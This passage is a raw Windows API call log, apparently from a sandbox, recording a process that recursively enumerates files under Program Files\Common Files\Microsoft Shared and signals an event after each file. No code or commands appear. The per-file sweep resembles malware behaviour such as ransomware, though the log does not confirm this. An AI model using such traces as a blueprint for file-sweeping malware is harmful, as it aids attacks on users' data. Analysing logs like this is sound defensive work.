ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1 [0273.744] ResetEvent (hEvent=0xe0) returned 1 [0273.744] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0273.900] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1 [0273.900] ResetEvent (hEvent=0xe0) returned 1 [0273.900] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0274.310] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1 [0274.310] ResetEvent (hEvent=0xe0) returned 1 [0274.310] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0274.566] ResetEvent (hEvent=0xe0) returned 1 [0274.567] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0274.618] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1 [0274.618] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1 [0274.618] ResetEvent (hEvent=0xe0) returned 1 [0274.618] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0274.711] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1 [0274.740] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1 [0274.742] ResetEvent (hEvent=0xe0) returned 1 [0274.742] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0274.758] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1 [0274.758] ResetEvent (hEvent=0xe0) returned 1 [0274.758] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0274.776] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 0 [0274.776] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0274.794] GetProcessHeap () returned 0x550000 [0274.794] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0274.794] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0 [0274.794] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0274.794] GetProcessHeap () returned 0x550000 [0274.794] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0274.794] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0274.795] GetProcessHeap () returned 0x550000 [0274.795] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0274.795] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0274.802] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.802] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0274.802] GetProcessHeap () returned 0x550000 [0274.802] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0274.802] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0274.808] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.817] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0274.817] GetProcessHeap () returned 0x550000 [0274.817] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0274.817] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0274.826] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.826] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0274.826] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0274.826] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0 [0274.826] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0274.830] GetProcessHeap () returned 0x550000 [0274.830] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0274.830] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="VSTOIN~1.CON")) returned 1 [0274.883] ResetEvent (hEvent=0xe0) returned 1 [0274.883] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0274.963] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0274.964] ResetEvent (hEvent=0xe0) returned 1 [0274.964] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0275.035] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0275.036] ResetEvent (hEvent=0xe0) returned 1 [0275.036] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0275.103] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1 [0275.103] ResetEvent (hEvent=0xe0) returned 1 [0275.103] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0275.694] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0 [0275.694] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0275.694] GetProcessHeap () returned 0x550000 [0275.694] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0275.695] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0275.695] ResetEvent (hEvent=0xe0) returned 1 [0275.695] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0275.904] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1 [0275.904] ResetEvent (hEvent=0xe0) returned 1 [0275.904] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0275.981] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0275.981] ResetEvent (hEvent=0xe0) returned 1 [0275.981] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0276.013] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0276.013] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0276.014] GetProcessHeap () returned 0x550000 [0276.014] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0276.014] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="WEBFOL~1")) returned 1 [0276.014] GetProcessHeap () returned 0x550000 [0276.014] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0276.014] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0276.014] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.014] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0276.015] GetProcessHeap () returned 0x550000 [0276.015] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26320b0 [0276.015] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.015] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.015] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0276.015] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 0 [0276.015] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.015] GetProcessHeap () returned 0x550000 [0276.015] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0276.016] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0276.016] ResetEvent (hEvent=0xe0) returned 1 [0276.016] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0276.548] FindNextFileW (in: hFindFile=0x639788, 